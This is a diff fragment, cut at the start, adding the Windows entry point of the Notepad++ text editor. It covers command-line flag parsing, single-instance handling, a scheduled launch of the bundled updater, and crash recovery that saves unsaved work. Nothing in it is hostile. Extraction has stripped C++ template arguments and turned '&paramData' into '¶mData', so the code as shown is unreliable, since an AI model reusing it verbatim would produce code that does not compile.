TCHAR stopChar = TEXT(' '); + if (cmdLinePtr[0] == TEXT('\"')) + { + stopChar = TEXT('\"'); + ++cmdLinePtr; + } + //while this is not really DBCS compliant, space and quote are in the lower 127 ASCII range + while(cmdLinePtr[0] && cmdLinePtr[0] != stopChar) + { + ++cmdLinePtr; + } + + // For unknown reason, the following command : + // c:\NppDir>notepad++ + // (without quote) will give string "notepad++\0notepad++\0" + // To avoid the unexpected behaviour we check the end of string before increasing the pointer + if (cmdLinePtr[0] != '\0') + ++cmdLinePtr; //advance past stopChar + + //kill remaining spaces + while(cmdLinePtr[0] == TEXT(' ')) + ++cmdLinePtr; + + bool isFile = checkSingleFile(cmdLinePtr); //if the commandline specifies only a file, open it as such + if (isFile) + { + paramVector.push_back(cmdLinePtr); + delete[] cmdLine; + return; + } + bool isInFile = false; + bool isInWhiteSpace = true; + size_t commandLength = lstrlen(cmdLinePtr); + std::vector args; + for (size_t i = 0; i < commandLength; ++i) + { + switch(cmdLinePtr[i]) + { + case '\"': //quoted filename, ignore any following whitespace + { + if (!isInFile) //" will always be treated as start or end of param, in case the user forgot to add an space + { + args.push_back(cmdLinePtr+i+1); //add next param(since zero terminated original, no overflow of +1) + } + isInFile = !isInFile; + isInWhiteSpace = false; + //because we dont want to leave in any quotes in the filename, remove them now (with zero terminator) + cmdLinePtr[i] = 0; + } + break; + + case '\t': //also treat tab as whitespace + case ' ': + { + isInWhiteSpace = true; + if (!isInFile) + cmdLinePtr[i] = 0; //zap spaces into zero terminators, unless its part of a filename + } + break; + + default: //default TCHAR, if beginning of word, add it + { + if (!isInFile && isInWhiteSpace) + { + args.push_back(cmdLinePtr+i); //add next param + isInWhiteSpace = false; + } + } + } + } + paramVector.assign(args.begin(), args.end()); + delete [] cmdLine; +} + +bool isInList(const TCHAR *token2Find, ParamVector & params) +{ + size_t nbItems = params.size(); + + for (size_t i = 0; i < nbItems; ++i) + { + if (!lstrcmp(token2Find, params.at(i).c_str())) + { + params.erase(params.begin() + i); + return true; + } + } + return false; +}; + +bool getParamVal(TCHAR c, ParamVector & params, generic_string & value) +{ + value = TEXT(""); + size_t nbItems = params.size(); + + for (size_t i = 0; i < nbItems; ++i) + { + const TCHAR * token = params.at(i).c_str(); + if (token[0] == '-' && lstrlen(token) >= 2 && token[1] == c) { //dash, and enough chars + value = (token+2); + params.erase(params.begin() + i); + return true; + } + } + return false; +} + +bool getParamValFromString(const TCHAR *str, ParamVector & params, generic_string & value) +{ + value = TEXT(""); + size_t nbItems = params.size(); + + for (size_t i = 0; i < nbItems; ++i) + { + const TCHAR * token = params.at(i).c_str(); + generic_string tokenStr = token; + size_t pos = tokenStr.find(str); + if (pos != generic_string::npos && pos == 0) + { + value = (token + lstrlen(str)); + params.erase(params.begin() + i); + return true; + } + } + return false; +} + +LangType getLangTypeFromParam(ParamVector & params) +{ + generic_string langStr; + if (!getParamVal('l', params, langStr)) + return L_EXTERNAL; + return NppParameters::getLangIDFromStr(langStr.c_str()); +} + +generic_string getLocalizationPathFromParam(ParamVector & params) +{ + generic_string locStr; + if (!getParamVal('L', params, locStr)) + return TEXT(""); + return NppParameters::getLocPathFromStr(locStr.c_str()); +} + +int getNumberFromParam(char paramName, ParamVector & params, bool & isParamePresent) { + generic_string numStr; + if (!getParamVal(paramName, params, numStr)) + { + isParamePresent = false; + return -1; + } + isParamePresent = true; + return generic_atoi(numStr.c_str()); +}; + +generic_string getEasterEggNameFromParam(ParamVector & params, unsigned char & type) +{ + generic_string EasterEggName; + if (!getParamValFromString(TEXT("-qn"), params, EasterEggName)) // get internal easter egg + { + if (!getParamValFromString(TEXT("-qt"), params, EasterEggName)) // get user quote from cmdline argument + { + if (!getParamValFromString(TEXT("-qf"), params, EasterEggName)) // get user quote from a content of file + return TEXT(""); + else + { + EasterEggName = relativeFilePathToFullFilePath(EasterEggName.c_str()); + type = 2; // quote content in file + } + } + else + type = 1; // commandline quote + } + else + type = 0; // easter egg + + generic_string percentTwentyStr = TEXT("%20"); + generic_string spaceStr = TEXT(" "); + size_t start_pos = 0; + while ((start_pos = EasterEggName.find(percentTwentyStr, start_pos)) != std::string::npos) + { + EasterEggName.replace(start_pos, percentTwentyStr.length(), spaceStr); + start_pos += spaceStr.length(); // Handles case where 'to' is a substring of 'from' + } + + return EasterEggName; +} + +const TCHAR FLAG_MULTI_INSTANCE[] = TEXT("-multiInst"); +const TCHAR FLAG_NO_PLUGIN[] = TEXT("-noPlugin"); +const TCHAR FLAG_READONLY[] = TEXT("-ro"); +const TCHAR FLAG_NOSESSION[] = TEXT("-nosession"); +const TCHAR FLAG_NOTABBAR[] = TEXT("-notabbar"); +const TCHAR FLAG_SYSTRAY[] = TEXT("-systemtray"); +const TCHAR FLAG_LOADINGTIME[] = TEXT("-loadingTime"); +const TCHAR FLAG_HELP[] = TEXT("--help"); +const TCHAR FLAG_ALWAYS_ON_TOP[] = TEXT("-alwaysOnTop"); +const TCHAR FLAG_OPENSESSIONFILE[] = TEXT("-openSession"); +const TCHAR FLAG_RECURSIVE[] = TEXT("-r"); +const TCHAR FLAG_FUNCLSTEXPORT[] = TEXT("-export=functionList"); +const TCHAR FLAG_PRINTANDQUIT[] = TEXT("-quickPrint"); + + +void doException(Notepad_plus_Window & notepad_plus_plus) +{ + Win32Exception::removeHandler(); //disable exception handler after excpetion, we dont want corrupt data structurs to crash the exception handler + ::MessageBox(Notepad_plus_Window::gNppHWND, TEXT("Notepad++ will attempt to save any unsaved data. However, dataloss is very likely."), TEXT("Recovery initiating"), MB_OK | MB_ICONINFORMATION); + + TCHAR tmpDir[1024]; + GetTempPath(1024, tmpDir); + generic_string emergencySavedDir = tmpDir; + emergencySavedDir += TEXT("\\N++RECOV"); + + bool res = notepad_plus_plus.emergency(emergencySavedDir); + if (res) + { + generic_string displayText = TEXT("Notepad++ was able to successfully recover some unsaved documents, or nothing to be saved could be found.\r\nYou can find the results at :\r\n"); + displayText += emergencySavedDir; + ::MessageBox(Notepad_plus_Window::gNppHWND, displayText.c_str(), TEXT("Recovery success"), MB_OK | MB_ICONINFORMATION); + } + else + ::MessageBox(Notepad_plus_Window::gNppHWND, TEXT("Unfortunatly, Notepad++ was not able to save your work. We are sorry for any lost data."), TEXT("Recovery failure"), MB_OK | MB_ICONERROR); +} + + +} // namespace + + + + +int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, int) +{ + LPTSTR cmdLine = ::GetCommandLine(); + ParamVector params; + parseCommandLine(cmdLine, params); + + MiniDumper mdump; //for debugging purposes. + + bool TheFirstOne = true; + ::SetLastError(NO_ERROR); + ::CreateMutex(NULL, false, TEXT("nppInstance")); + if (::GetLastError() == ERROR_ALREADY_EXISTS) + TheFirstOne = false; + + bool isParamePresent; + bool showHelp = isInList(FLAG_HELP, params); + bool isMultiInst = isInList(FLAG_MULTI_INSTANCE, params); + bool doFunctionListExport = isInList(FLAG_FUNCLSTEXPORT, params); + bool doPrintAndQuit = isInList(FLAG_PRINTANDQUIT, params); + + CmdLineParams cmdLineParams; + cmdLineParams._isNoTab = isInList(FLAG_NOTABBAR, params); + cmdLineParams._isNoPlugin = isInList(FLAG_NO_PLUGIN, params); + cmdLineParams._isReadOnly = isInList(FLAG_READONLY, params); + cmdLineParams._isNoSession = isInList(FLAG_NOSESSION, params); + cmdLineParams._isPreLaunch = isInList(FLAG_SYSTRAY, params); + cmdLineParams._alwaysOnTop = isInList(FLAG_ALWAYS_ON_TOP, params); + cmdLineParams._showLoadingTime = isInList(FLAG_LOADINGTIME, params); + cmdLineParams._isSessionFile = isInList(FLAG_OPENSESSIONFILE, params); + cmdLineParams._isRecursive = isInList(FLAG_RECURSIVE, params); + cmdLineParams._langType = getLangTypeFromParam(params); + cmdLineParams._localizationPath = getLocalizationPathFromParam(params); + cmdLineParams._easterEggName = getEasterEggNameFromParam(params, cmdLineParams._quoteType); + + // getNumberFromParam should be run at the end, to not consuming the other params + cmdLineParams._line2go = getNumberFromParam('n', params, isParamePresent); + cmdLineParams._column2go = getNumberFromParam('c', params, isParamePresent); + cmdLineParams._pos2go = getNumberFromParam('p', params, isParamePresent); + cmdLineParams._point.x = getNumberFromParam('x', params, cmdLineParams._isPointXValid); + cmdLineParams._point.y = getNumberFromParam('y', params, cmdLineParams._isPointYValid); + + + if (showHelp) + ::MessageBox(NULL, COMMAND_ARG_HELP, TEXT("Notepad++ Command Argument Help"), MB_OK); + + NppParameters *pNppParameters = NppParameters::getInstance(); + NppGUI & nppGui = const_cast(pNppParameters->getNppGUI()); + bool doUpdate = nppGui._autoUpdateOpt._doAutoUpdate; + + if (doFunctionListExport || doPrintAndQuit) // export functionlist feature will serialize fuctionlist on the disk, then exit Notepad++. So it's important to not launch into existing instance, and keep it silent. + { + isMultiInst = true; + doUpdate = false; + cmdLineParams._isNoSession = true; + } + + if (cmdLineParams._localizationPath != TEXT("")) + { + pNppParameters->setStartWithLocFileName(cmdLineParams._localizationPath); + } + pNppParameters->load(); + + pNppParameters->setFunctionListExportBoolean(doFunctionListExport); + pNppParameters->setPrintAndExitBoolean(doPrintAndQuit); + + // override the settings if notepad style is present + if (pNppParameters->asNotepadStyle()) + { + isMultiInst = true; + cmdLineParams._isNoTab = true; + cmdLineParams._isNoSession = true; + } + + // override the settings if multiInst is choosen by user in the preference dialog + const NppGUI & nppGUI = pNppParameters->getNppGUI(); + if (nppGUI._multiInstSetting == multiInst) + { + isMultiInst = true; + // Only the first launch remembers the session + if (!TheFirstOne) + cmdLineParams._isNoSession = true; + } + + generic_string quotFileName = TEXT(""); + // tell the running instance the FULL path to the new files to load + size_t nbFilesToOpen = params.size(); + + for (size_t i = 0; i < nbFilesToOpen; ++i) + { + const TCHAR * currentFile = params.at(i).c_str(); + if (currentFile[0]) + { + //check if relative or full path. Relative paths dont have a colon for driveletter + + quotFileName += TEXT("\""); + quotFileName += relativeFilePathToFullFilePath(currentFile); + quotFileName += TEXT("\" "); + } + } + + //Only after loading all the file paths set the working directory + ::SetCurrentDirectory(NppParameters::getInstance()->getNppPath().c_str()); //force working directory to path of module, preventing lock + + if ((!isMultiInst) && (!TheFirstOne)) + { + HWND hNotepad_plus = ::FindWindow(Notepad_plus_Window::getClassName(), NULL); + for (int i = 0 ;!hNotepad_plus && i < 5 ; ++i) + { + Sleep(100); + hNotepad_plus = ::FindWindow(Notepad_plus_Window::getClassName(), NULL); + } + + if (hNotepad_plus) + { + // First of all, destroy static object NppParameters + pNppParameters->destroyInstance(); + MainFileManager->destroyInstance(); + + int sw = 0; + + if (::IsZoomed(hNotepad_plus)) + sw = SW_MAXIMIZE; + else if (::IsIconic(hNotepad_plus)) + sw = SW_RESTORE; + + if (sw != 0) + ::ShowWindow(hNotepad_plus, sw); + + ::SetForegroundWindow(hNotepad_plus); + + if (params.size() > 0) //if there are files to open, use the WM_COPYDATA system + { + COPYDATASTRUCT paramData; + paramData.dwData = COPYDATA_PARAMS; + paramData.lpData = &cmdLineParams; + paramData.cbData = sizeof(cmdLineParams); + + COPYDATASTRUCT fileNamesData; + fileNamesData.dwData = COPYDATA_FILENAMES; + fileNamesData.lpData = (void *)quotFileName.c_str(); + fileNamesData.cbData = long(quotFileName.length() + 1)*(sizeof(TCHAR)); + + ::SendMessage(hNotepad_plus, WM_COPYDATA, reinterpret_cast(hInstance), reinterpret_cast(¶mData)); + ::SendMessage(hNotepad_plus, WM_COPYDATA, reinterpret_cast(hInstance), reinterpret_cast(&fileNamesData)); + } + return 0; + } + } + + Notepad_plus_Window notepad_plus_plus; + + generic_string updaterDir = pNppParameters->getNppPath(); + updaterDir += TEXT("\\updater\\"); + + generic_string updaterFullPath = updaterDir + TEXT("gup.exe"); + + generic_string updaterParams = TEXT("-v"); + updaterParams += VERSION_VALUE; + + bool isUpExist = nppGui._doesExistUpdater = (::PathFileExists(updaterFullPath.c_str()) == TRUE); + + if (doUpdate) // check more detail + { + Date today(0); + + if (today < nppGui._autoUpdateOpt._nextUpdateDate) + doUpdate = false; + } + + // wingup doesn't work with the obsolet security layer (API) under xp since downloadings are secured with SSL on notepad_plus_plus.org + winVer ver = pNppParameters->getWinVersion(); + bool isGtXP = ver > WV_XP; + if (TheFirstOne && isUpExist && doUpdate && isGtXP) + { + if (pNppParameters->isx64()) + { + updaterParams += TEXT(" -px64"); + } + Process updater(updaterFullPath.c_str(), updaterParams.c_str(), updaterDir.c_str()); + updater.run(); + + // Update next update date + if (nppGui._autoUpdateOpt._intervalDays < 0) // Make sure interval days value is positive + nppGui._autoUpdateOpt._intervalDays = 0 - nppGui._autoUpdateOpt._intervalDays; + nppGui._autoUpdateOpt._nextUpdateDate = Date(nppGui._autoUpdateOpt._intervalDays); + } + + MSG msg; + msg.wParam = 0; + Win32Exception::installHandler(); + try + { + notepad_plus_plus.init(hInstance, NULL, quotFileName.c_str(), &cmdLineParams); + allowWmCopydataMessages(notepad_plus_plus, pNppParameters, ver); + bool going = true; + while (going) + { + going = ::GetMessageW(&msg, NULL, 0, 0) != 0; + if (going) + { + // if the message doesn't belong to the notepad_plus_plus's dialog + if (!notepad_plus_plus.isDlgsMsg(&msg)) + { + if (::TranslateAccelerator(notepad_plus_plus.getHSelf(), notepad_plus_plus.getAccTable(), &msg) == 0) + { + ::TranslateMessage(&msg); + ::DispatchMessageW(&msg); + } + } + } + } + } + catch (int i) + { + TCHAR str[50] = TEXT("God Damned Exception : "); + TCHAR code[10]; + wsprintf(code, TEXT("%d"), i); + ::MessageBox(Notepad_plus_Window::gNppHWND, lstrcat(str, code), TEXT("Int Exception"), MB_OK); + doException(notepad_plus_plus); + } + catch (std::runtime_error & ex) + { + ::MessageBoxA(Notepad_plus_Window::gNppHWND, ex.what(), "Runtime Exception", MB_OK); + doException(notepad_plus_plus); + } + catch (const Win32Exception & ex) + { + TCHAR message[1024]; //TODO: sane number + wsprintf(message, TEXT("An exception occured. Notepad++ cannot recover and must be shut down.\r\nThe exception details are as follows:\r\n") + TEXT("Code:\t0x%08X\r\nType:\t%S\r\nException address: 0x%08X"), ex.code(), ex.what(), reinterpret_cast(ex.where())); + ::MessageBox(Notepad_plus_Window::gNppHWND, message, TEXT("Win32Exception"), MB_OK | MB_ICONERROR); + mdump.writeDump(ex.info()); + doException(notepad_plus_plus); + } + catch (std::exception & ex) + { + ::MessageBoxA(Notepad_plus_Window::gNppHWND, ex.what(), "General Exception", MB_OK); + doException(notepad_plus_plus); + } + catch (...) // this shouldnt ever have to happen + { + ::MessageBoxA(Notepad_plus_Window::gNppHWND, "An exception that we did not yet found its name is just caught", "Unknown Exception", MB_OK); + doException(notepad_plus_plus); + } + + return static_cast(msg.wParam); +}